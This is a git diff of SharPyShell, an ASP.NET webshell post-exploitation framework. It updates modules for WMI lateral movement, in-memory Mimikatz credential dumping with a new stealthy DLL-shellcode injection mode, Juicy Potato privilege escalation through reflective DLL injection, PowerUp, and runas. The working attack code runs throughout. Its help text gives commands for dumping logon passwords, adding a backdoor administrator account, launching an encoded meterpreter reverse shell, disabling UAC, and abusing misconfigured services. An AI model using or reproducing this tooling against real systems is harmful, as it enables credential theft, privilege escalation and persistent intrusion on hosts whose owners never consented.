ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
||||
if (ret == false){
|
||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
else{
|
||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
||||
if(wait_for == WAIT_OBJECT_0){
|
||||
output += "\n" + File.ReadAllText(stdout_file);
|
||||
string errors = File.ReadAllText(stderr_file);
|
||||
if (!String.IsNullOrEmpty(errors))
|
||||
output += "\n" + errors;
|
||||
}
|
||||
else{
|
||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
||||
}
|
||||
File.Delete(stdout_file);
|
||||
File.Delete(stderr_file);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
CloseHandle(DupedToken);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
output += error_string + "\nException occurred. " + ex.Message;
|
||||
return output;
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
public byte[] ExecRuntime()
|
||||
{
|
||||
string output_func=LateralWMIRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
|
||||
byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
|
||||
return(output_func_byte);
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
__default_local_user = ''
|
||||
__default_local_password = ''
|
||||
__default_local_domain = ''
|
||||
__wmi_code_arguments = ur'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
|
||||
__wmi_code_arguments = r'/node:%s /user:""%s"" /password:""%s"" process call create ""cmd.exe /c %s""'
|
||||
|
||||
def __run_as_current_user(self, wmi_code_arguments):
|
||||
request = self._create_request([wmi_code_arguments, 'current_user'])
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
return decrypted_response
|
||||
|
||||
def __run_as(self, wmi_code_arguments, local_user, local_password, local_domain):
|
||||
request = self._create_request([[wmi_code_arguments, local_user, local_password, local_domain], 'runas'])
|
||||
request = self._create_request(wmi_code_arguments)
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
@@ -307,34 +109,20 @@ class Lateral_wmi(Module):
|
||||
username = args_parser.get(1)
|
||||
password = args_parser.get(2)
|
||||
command = args_parser.get(3)
|
||||
local_user = args_parser.get(4, self.__default_local_user)
|
||||
local_password = args_parser.get(5, self.__default_local_password)
|
||||
local_domain = args_parser.get(6, self.__default_local_domain)
|
||||
return target_ip, username, password, command, local_user, local_password, local_domain
|
||||
return target_ip, username, password, command
|
||||
|
||||
def _create_request(self, args):
|
||||
arguments, request_type = args
|
||||
arguments = args
|
||||
working_path = self._module_settings['working_directory']
|
||||
if request_type == 'runas':
|
||||
wmi_code_arguments, local_user, local_password, local_domain = arguments
|
||||
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
request = self._runtime_code_runas % (local_user, local_password, local_domain, wmi_code_arguments,
|
||||
stdout_file, stderr_file, working_path)
|
||||
else:
|
||||
wmi_code_arguments = arguments
|
||||
request = self._runtime_code % (wmi_code_arguments, working_path)
|
||||
wmi_code_arguments = arguments
|
||||
request = self._runtime_code % (wmi_code_arguments, working_path)
|
||||
return request
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
target_ip, username, password, command,\
|
||||
local_user, local_password, local_domain = self.__parse_run_args(args)
|
||||
target_ip, username, password, command = self.__parse_run_args(args)
|
||||
wmi_code_arguments = self.__wmi_code_arguments % (target_ip, username, password, command)
|
||||
if local_user == '':
|
||||
response = self.__run_as_current_user(wmi_code_arguments)
|
||||
else:
|
||||
response = self.__run_as(wmi_code_arguments, local_user, local_password, local_domain)
|
||||
response = self.__run_as_current_user(wmi_code_arguments)
|
||||
parsed_response = self._parse_response(response)
|
||||
except ModuleException as module_exc:
|
||||
parsed_response = str(module_exc)
|
||||
|
||||
+50
-22
@@ -5,8 +5,10 @@ from modules.exec_cmd import Exec_cmd
|
||||
from modules.runas import Runas
|
||||
from modules.invoke_ps_module import Invoke_ps_module
|
||||
from modules.invoke_ps_module_as import Invoke_ps_module_as
|
||||
from modules.inject_dll_srdi import Inject_dll_srdi
|
||||
from utils.random_string import random_generator
|
||||
import traceback
|
||||
import os
|
||||
|
||||
|
||||
class MimikatzModuleException(ModuleException):
|
||||
@@ -17,25 +19,30 @@ class Mimikatz(Module):
|
||||
_exception_class = MimikatzModuleException
|
||||
short_help = "Run an offline version of mimikatz directly in memory"
|
||||
complete_help = r"""
|
||||
Authors: @gentilkiwi @PowerShellMafia
|
||||
Links: https://github.com/gentilkiwi/mimikatz
|
||||
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
|
||||
Credits: @phra
|
||||
|
||||
|
||||
This module allows you to run mimikatz in a versatile way.
|
||||
Within this module it is possible to run mimikatz in 2 different way:
|
||||
Within this module it is possible to run mimikatz in 3 different ways:
|
||||
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
|
||||
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments.
|
||||
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
|
||||
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
|
||||
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
|
||||
The exe version will be just dropped as clear and could be catched by av scanners.
|
||||
Exec_Type can be 'ps1' or 'exe'.
|
||||
The dll version is the most stealthy but it doesn't support impersonation atm.
|
||||
|
||||
Source Code:
|
||||
https://github.com/gentilkiwi/mimikatz
|
||||
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
|
||||
|
||||
Usage:
|
||||
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
|
||||
|
||||
Positional arguments:
|
||||
exec_type type of running mimikatz.
|
||||
'ps1' will upload and execute the powershell version of mimikatz
|
||||
'exe' will upload and execute the classic version of binary mimikatz
|
||||
exec_type execution type for running mimikatz:
|
||||
'ps1' will upload and execute the powershell version of mimikatz
|
||||
'exe' will upload and execute the classic version of binary mimikatz
|
||||
'dll' will inject converted dll shellcode into a remote process
|
||||
Default: 'ps1'
|
||||
username username of the user to runas the process
|
||||
password password of the user to runas the process
|
||||
@@ -43,13 +50,17 @@ class Mimikatz(Module):
|
||||
custom_command based on exec_type, the custom command could be:
|
||||
- 'ps1' : powershell code to add to the ps1 mimikatz module;
|
||||
- 'exe' : command line arguments to the mimikatz binary;
|
||||
- 'dll' : command line arguments to be executed.
|
||||
Default:
|
||||
'ps1': ';Invoke-Mimikatz -DumpCreds'
|
||||
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
|
||||
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
|
||||
|
||||
Examples:
|
||||
Run mimikatz as the current user
|
||||
#mimikatz
|
||||
Run mimikatz dll
|
||||
#mimikatz 'dll'
|
||||
Run mimikatz as a specific local user
|
||||
#mimikatz 'ps1' 'user1' 'password1'
|
||||
Run mimikatz as a specific domain user
|
||||
@@ -79,6 +90,7 @@ class Mimikatz(Module):
|
||||
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
|
||||
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
|
||||
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
|
||||
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
|
||||
|
||||
def __parse_run_args(self, args):
|
||||
args_parser = {k: v for k, v in enumerate(args)}
|
||||
@@ -86,32 +98,46 @@ class Mimikatz(Module):
|
||||
username = args_parser.get(1, self.__default_username)
|
||||
password = args_parser.get(2, self.__default_password)
|
||||
domain = args_parser.get(3, self.__default_domain)
|
||||
custom_command = args_parser.get(4, self.__default_exe_command if exec_type == 'exe' else self.__default_ps_command)
|
||||
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
|
||||
return exec_type, username, password, domain, custom_command
|
||||
|
||||
def __lookup_exe_binary(self):
|
||||
if 'mimikatz.exe' in self._module_settings.keys():
|
||||
bin_path = self._module_settings['mimikatz.exe']
|
||||
else:
|
||||
exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
|
||||
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
|
||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
||||
print '\n\n\nUploading mimikatz binary....\n'
|
||||
print ('\n\n\nUploading mimikatz binary....\n')
|
||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
||||
print upload_response
|
||||
print (upload_response)
|
||||
self._module_settings['mimikatz.exe'] = remote_upload_path
|
||||
bin_path = remote_upload_path
|
||||
return bin_path
|
||||
|
||||
def __run_exe_version(self, username, password, domain, custom_command):
|
||||
try:
|
||||
remote_upload_path = self.__lookup_exe_binary()
|
||||
if username == '':
|
||||
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
|
||||
else:
|
||||
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
|
||||
parsed_response = self._parse_response(response)
|
||||
except ModuleException as module_exc:
|
||||
parsed_response = str(module_exc)
|
||||
remote_upload_path = self.__lookup_exe_binary()
|
||||
if username == '':
|
||||
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
|
||||
else:
|
||||
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
|
||||
parsed_response = self._parse_response(response)
|
||||
return parsed_response
|
||||
|
||||
def __run_dll_version(self, username, custom_command):
|
||||
dll_name = 'powerkatz.dll'
|
||||
exported_function_name = 'powershell_reflective_mimikatz'
|
||||
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
|
||||
if username == '':
|
||||
print ('\n\nInjecting converted DLL shellcode into remote process...')
|
||||
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
|
||||
exported_function_name, exported_function_data])
|
||||
response = self._parse_response(response)
|
||||
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
|
||||
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
|
||||
else:
|
||||
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
|
||||
parsed_response = self._parse_response(response)
|
||||
return parsed_response
|
||||
|
||||
def __run_ps_version(self, username, password, domain, custom_command):
|
||||
@@ -127,6 +153,8 @@ class Mimikatz(Module):
|
||||
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
|
||||
if exec_type == 'exe':
|
||||
response = self.__run_exe_version(username, password, domain, custom_command)
|
||||
elif exec_type == 'dll':
|
||||
response = self.__run_dll_version(username, custom_command)
|
||||
else:
|
||||
response = self.__run_ps_version(username, password, domain, custom_command)
|
||||
parsed_response = self._parse_response(response)
|
||||
|
||||
@@ -2,7 +2,9 @@ from core.Module import Module, ModuleException
|
||||
from core import config
|
||||
from modules.upload import Upload
|
||||
from modules.exec_cmd import Exec_cmd
|
||||
from modules.inject_dll_reflective import Inject_dll_reflective
|
||||
from utils.random_string import random_generator
|
||||
from utils import shellcode
|
||||
import random
|
||||
import traceback
|
||||
|
||||
@@ -13,8 +15,13 @@ class PrivescJuicyPotatoModuleException(ModuleException):
|
||||
|
||||
class Privesc_juicy_potato(Module):
|
||||
_exception_class = PrivescJuicyPotatoModuleException
|
||||
short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
|
||||
short_help = r"Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
|
||||
complete_help = r"""
|
||||
Authors: @decoder @ohpe @phra @lupman
|
||||
Links: https://github.com/ohpe/juicy-potato
|
||||
https://github.com/phra/metasploit-framework/blob/e69d509bdf5c955e673be44b8d87b915272836d9/modules/exploits/windows/local/ms16_075_reflection_juicy.rb
|
||||
|
||||
|
||||
Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
|
||||
Accounts to NT AUTHORITY\SYSTEM.
|
||||
This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
|
||||
@@ -24,32 +31,41 @@ class Privesc_juicy_potato(Module):
|
||||
This vulnerability is no longer exploitable with Windows Server 2019:
|
||||
https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
|
||||
|
||||
Source Code:
|
||||
https://github.com/ohpe/juicy-potato
|
||||
|
||||
|
||||
Usage:
|
||||
#privesc_juicy_potato cmd [custom_args]
|
||||
#privesc_juicy_potato cmd [exec_type] [clsid] [custom_shellcode_path]
|
||||
|
||||
Positional arguments:
|
||||
cmd command supported by cmd.exe
|
||||
custom_args command line parameters to be passed to juicy potato binary
|
||||
Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
|
||||
cmd command supported by cmd.exe
|
||||
exec_type Type of execution of juicy potato, values can be:
|
||||
- 'reflective_dll'
|
||||
- 'exe'
|
||||
Default: 'reflective_dll'
|
||||
clsid target CLSID to reflect
|
||||
Default: '{4991d34b-80a1-4291-83b6-3328366b9097}' (BITS)
|
||||
custom_shellcode_path path to a file containing shellcode (format raw)
|
||||
if set, this module will ignore 'cmd' argument
|
||||
Default: 'default'
|
||||
|
||||
Examples:
|
||||
Add a new local admin:
|
||||
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
|
||||
#privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1_2_3! /Y & net localgroup Administrators admin_test /add'
|
||||
Run juicy reflecting a custom COM CLSID:
|
||||
#privesc_juicy_potato 'echo custom_clsid > C:\windows\temp\custom_clsid.txt' 'reflective_dll' '{752073A1-23F2-4396-85F0-8FDB879ED0ED}'
|
||||
Run whoami with the classic Juicy Potato binary:
|
||||
#privesc_juicy_potato 'whoami > C:\windows\temp\whoami_juicy.txt' 'exe'
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell
|
||||
{
|
||||
string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
|
||||
string ExecCmd(string exe_path, string arguments, string cmd, string working_path)
|
||||
{
|
||||
string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
|
||||
ProcessStartInfo pinfo = new ProcessStartInfo();
|
||||
pinfo.FileName = exe_path;
|
||||
pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
|
||||
pinfo.Arguments = arguments + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
|
||||
pinfo.RedirectStandardOutput = true;
|
||||
pinfo.RedirectStandardError = true;
|
||||
pinfo.UseShellExecute = false;
|
||||
@@ -84,20 +100,29 @@ class Privesc_juicy_potato(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
__default_custom_args = ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
|
||||
__default_exec_type = 'reflective_dll'
|
||||
__default_clsid = '{4991d34b-80a1-4291-83b6-3328366b9097}'
|
||||
__default_custom_shellcode_path = 'default'
|
||||
|
||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
||||
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
|
||||
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
|
||||
self.inject_dll_reflective_module_object = Inject_dll_reflective(password, channel_enc_mode,
|
||||
module_settings, request_object)
|
||||
|
||||
def __parse_run_args(self, args):
|
||||
if len(args) < 1:
|
||||
raise self._exception_class('#privesc_juicy_potato : Not enough arguments.1 Argument required. \n')
|
||||
args_parser = {k: v for k, v in enumerate(args)}
|
||||
cmd = args_parser.get(0)
|
||||
custom_args = args_parser.get(1, self.__default_custom_args)
|
||||
return cmd, custom_args
|
||||
exec_type = args_parser.get(1, self.__default_exec_type)
|
||||
self.__random_listening_port = str(random.randint(10000, 65000))
|
||||
clsid = args_parser.get(2, self.__default_clsid)
|
||||
arguments = ' -t * -l %s -c %s -p '
|
||||
arguments = arguments % (self.__random_listening_port, clsid)
|
||||
custom_shellcode_path = args_parser.get(3, self.__default_custom_shellcode_path )
|
||||
return cmd, exec_type, arguments, custom_shellcode_path, clsid
|
||||
|
||||
def __lookup_binary(self):
|
||||
if 'JuicyPotato.exe' in self._module_settings.keys():
|
||||
@@ -105,28 +130,72 @@ class Privesc_juicy_potato(Module):
|
||||
else:
|
||||
exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
|
||||
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
|
||||
print '\n\n\nUploading Juicy Potato binary....\n'
|
||||
print ('\n\n\nUploading Juicy Potato binary....\n')
|
||||
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
|
||||
print upload_response
|
||||
print (upload_response)
|
||||
self._module_settings['JuicyPotato.exe'] = remote_upload_path
|
||||
bin_path = remote_upload_path
|
||||
return bin_path
|
||||
|
||||
def _create_request(self, args):
|
||||
exe_path, custom_args, cmd = args
|
||||
def __run_exe_version(self, cmd, arguments):
|
||||
exe_path = self.__lookup_binary()
|
||||
working_path = self._module_settings['working_directory']
|
||||
return self._runtime_code % (exe_path, custom_args, cmd, working_path)
|
||||
request = self._runtime_code % (exe_path, arguments, cmd, working_path)
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
parsed_response = self._parse_response(decrypted_response)
|
||||
return parsed_response
|
||||
|
||||
def __run_reflective_dll_version(self, cmd, custom_shellcode_path, logfile, clsid):
|
||||
LogFile = logfile.encode()
|
||||
remote_process = b'notepad.exe'
|
||||
CLSID = clsid.encode()
|
||||
ListeningPort = self.__random_listening_port.encode()
|
||||
RpcServerHost = b'127.0.0.1'
|
||||
RpcServerPort = b'135'
|
||||
ListeningAddress = b'127.0.0.1'
|
||||
if custom_shellcode_path == 'default':
|
||||
shellcode_bytes = shellcode.winexec_x64 + b'cmd /c "' + cmd.encode() + b'"\00'
|
||||
thread_timeout = '60000'
|
||||
else:
|
||||
thread_timeout = '0'
|
||||
with open(custom_shellcode_path, 'rb') as file_handle:
|
||||
shellcode_bytes = file_handle.read()
|
||||
configuration = LogFile + b'\00'
|
||||
configuration += remote_process + b'\00'
|
||||
configuration += CLSID + b'\00'
|
||||
configuration += ListeningPort + b'\00'
|
||||
configuration += RpcServerHost + b'\00'
|
||||
configuration += RpcServerPort + b'\00'
|
||||
configuration += ListeningAddress + b'\00'
|
||||
configuration += str(len(shellcode_bytes)).encode() + b'\00'
|
||||
configuration += shellcode_bytes
|
||||
configuration_bytes_csharp = '{' + ",".join('0x{:02x}'.format(x) for x in configuration) + '}'
|
||||
response = self.inject_dll_reflective_module_object.run(['juicypotato_reflective.dll', 'remote_virtual',
|
||||
'cmd.exe', thread_timeout, configuration_bytes_csharp])
|
||||
parsed_response = self._parse_response(response)
|
||||
return parsed_response
|
||||
|
||||
def _create_request(self, args):
|
||||
exe_path, arguments, cmd = args
|
||||
working_path = self._module_settings['working_directory']
|
||||
return self._runtime_code % (exe_path, arguments, cmd, working_path)
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
cmd, custom_args = self.__parse_run_args(args)
|
||||
upload_path = self.__lookup_binary()
|
||||
request = self._create_request([upload_path, custom_args, cmd])
|
||||
encrypted_request = self._encrypt_request(request)
|
||||
encrypted_response = self._post_request(encrypted_request)
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
parsed_response = self._parse_response(decrypted_response)
|
||||
parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
|
||||
cmd, exec_type, arguments, custom_shellcode_path, clsid = self.__parse_run_args(args)
|
||||
if exec_type == 'exe':
|
||||
response = self.__run_exe_version(cmd, arguments)
|
||||
else:
|
||||
logfile = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
print ('\n\nInjecting Reflective DLL into remote process...')
|
||||
response = self.__run_reflective_dll_version(cmd, custom_shellcode_path, logfile, clsid)
|
||||
response += '\nReflective DLL injection executed!\n\n'
|
||||
if custom_shellcode_path == 'default':
|
||||
response += '\nOutput of juicy potato:\n\n'
|
||||
response += self.exec_cmd_module_object.run(['type ' + logfile + ' & del /f /q ' + logfile])
|
||||
parsed_response = self._parse_response(response)
|
||||
except ModuleException as module_exc:
|
||||
parsed_response = str(module_exc)
|
||||
except Exception:
|
||||
|
||||
@@ -12,6 +12,10 @@ class Privesc_powerup(Module):
|
||||
_exception_class = PrivescPowerupModuleException
|
||||
short_help = "Run Powerup module to assess all misconfiguration for privesc"
|
||||
complete_help = r"""
|
||||
Author: @PowerShellMafia
|
||||
Link: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1
|
||||
|
||||
|
||||
This module run the Powerup.ps1 script in order to find all possible misconfiguration that can
|
||||
lead to a privilege escalation.
|
||||
The output of this module will be just informative, no automatic privesc exploitation will be performed.
|
||||
@@ -19,9 +23,7 @@ class Privesc_powerup(Module):
|
||||
a user to runas this module.
|
||||
If no users are provided this module will run under the application pool running user.
|
||||
|
||||
Source Code:
|
||||
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
|
||||
|
||||
|
||||
Usage:
|
||||
#privesc_powerup [username] [password] [domain] [custom_command]
|
||||
|
||||
@@ -30,7 +32,7 @@ class Privesc_powerup(Module):
|
||||
password password of the user to runas the process
|
||||
domain domain of the user to runas the process
|
||||
custom_command the command to run within the module
|
||||
Default: ';Invoke-AllChecks'
|
||||
Default: ';Invoke-PrivescAudit -Format List'
|
||||
|
||||
Examples:
|
||||
Run powerup as the current user
|
||||
@@ -39,15 +41,15 @@ class Privesc_powerup(Module):
|
||||
#privesc_powerup 'user1' 'password1'
|
||||
Run powerup as a specific domain user
|
||||
#privesc_powerup 'user1' 'password1' 'domain'
|
||||
Run powerup with a custom command, i.e. save report as html
|
||||
#privesc_powerup '' '' '' ';Invoke-AllChecks -HTMLReport'
|
||||
Run powerup with a custom command, i.e. abusing a service misconfiguration
|
||||
#privesc_powerup '' '' '' ';Invoke-ServiceAbuse -Name "VulnSvc"'
|
||||
|
||||
"""
|
||||
|
||||
__default_username = ''
|
||||
__default_password = ''
|
||||
__default_domain = ''
|
||||
__default_custom_command = ';Invoke-AllChecks'
|
||||
__default_custom_command = ';Invoke-PrivescAudit -Format List'
|
||||
|
||||
def __init__(self, password, channel_enc_mode, module_settings, request_object):
|
||||
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
|
||||
|
||||
+25
-10
File diff suppressed because one or more lines are too long
Vendored
+2169
-1190
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
+210
-118
@@ -16,7 +16,11 @@ class Runas(Module):
|
||||
The calling process will wait until the end of the execution of the spawned process.
|
||||
The two processes will communicate through 2 pipeline files (1 for stdout and 1 for stderr).
|
||||
The default logon type is 3 (Network_Logon).
|
||||
If you set Interactive (2) logon type you will face some restriction problems.
|
||||
If you set Interactive (2) logon type you will face some UAC restriction problems.
|
||||
You can make interactive login without restrictions by setting the following regkey to 0 and restart the server:
|
||||
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA
|
||||
|
||||
If you need to spawn a background or async process, i.e. spawning a reverse shell, set the argument
|
||||
'process_timeout_ms' to 0.
|
||||
|
||||
@@ -30,8 +34,7 @@ class Runas(Module):
|
||||
domain domain of the user, if in a domain.
|
||||
Default: ''
|
||||
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
|
||||
This will halt the process until the spawned process ends and sent
|
||||
the output back to the webshell.
|
||||
This will halt the process until the spawned process ends and sent the output back to the webshell.
|
||||
If you set 0 an async process will be created and no output will be retrieved.
|
||||
Default: '60000'
|
||||
logon_type the logon type for the spawned process.
|
||||
@@ -42,6 +45,8 @@ class Runas(Module):
|
||||
#runas whoami user1 password1
|
||||
Run a command as a specific domain user
|
||||
#runas whoami user1 password1 domain
|
||||
Run a command as a specific local user with logon type 2
|
||||
#runas whoami user1 password1 '' 60000 2
|
||||
Run a background/async process as a specific local user, i.e. meterpreter ps1 reverse shell
|
||||
#runas 'powershell -nop -noni -enc base64reverse_shell' 'user1' 'password1' '' '0'
|
||||
Run a background/async process as a specific domain user, i.e. meterpreter ps1 reverse shell
|
||||
@@ -49,13 +54,102 @@ class Runas(Module):
|
||||
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;
|
||||
|
||||
public class SharPyShell
|
||||
{
|
||||
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
private const string error_string = "{{{SharPyShellError}}}";
|
||||
|
||||
private const int LOGON32_PROVIDER_DEFAULT = 0;
|
||||
private const int LOGON32_PROVIDER_WINNT35 = 1;
|
||||
private const int LOGON32_PROVIDER_WINNT40 = 2;
|
||||
private const int LOGON32_PROVIDER_WINNT50 = 3;
|
||||
|
||||
private const uint GENERIC_ALL = 0x10000000;
|
||||
private const int SecurityImpersonation = 2;
|
||||
private const int TokenType = 1;
|
||||
|
||||
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
|
||||
private const uint WAIT_ABANDONED = 0x00000080;
|
||||
private const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
private const uint WAIT_TIMEOUT = 0x00000102;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct LUID
|
||||
{
|
||||
public int LowPart;
|
||||
public int HighPart;
|
||||
}
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public UInt32 PrivilegeCount;
|
||||
public LUID Luid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
||||
private static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
||||
private static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
||||
private static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
